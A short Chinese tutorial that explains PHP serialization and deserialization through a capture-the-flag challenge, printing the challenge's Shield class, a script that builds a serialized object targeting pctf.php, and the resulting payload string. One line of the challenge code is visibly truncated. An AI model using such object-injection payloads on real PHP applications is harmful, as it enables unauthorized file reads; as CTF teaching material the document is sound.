PHP的反序列化

什么是反序列化？
  在我们讲PHP反序列化的时候，基本都是围绕着serialize()，unserialize()这两个函数。那么什么是序列化呢，序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子，不知道大家知不知道json格式，这就是一种序列化，有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。

反序列化中的解释：

拿一个神盾局的秘密来实验一下php的反序列化

拿到题目源码：

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filena		}
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

代码审计可知需要用到反序列化，并且flag在pctf.php中
解反序列化脚本：

<?php
	class Shield {
		public $file = "pctf.php";
	}
	$chybeta = new Shield();
	print_r(serialize($chybeta));
?>

得到反序列化字符串：O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}
此处可以口算也可以用脚本跑。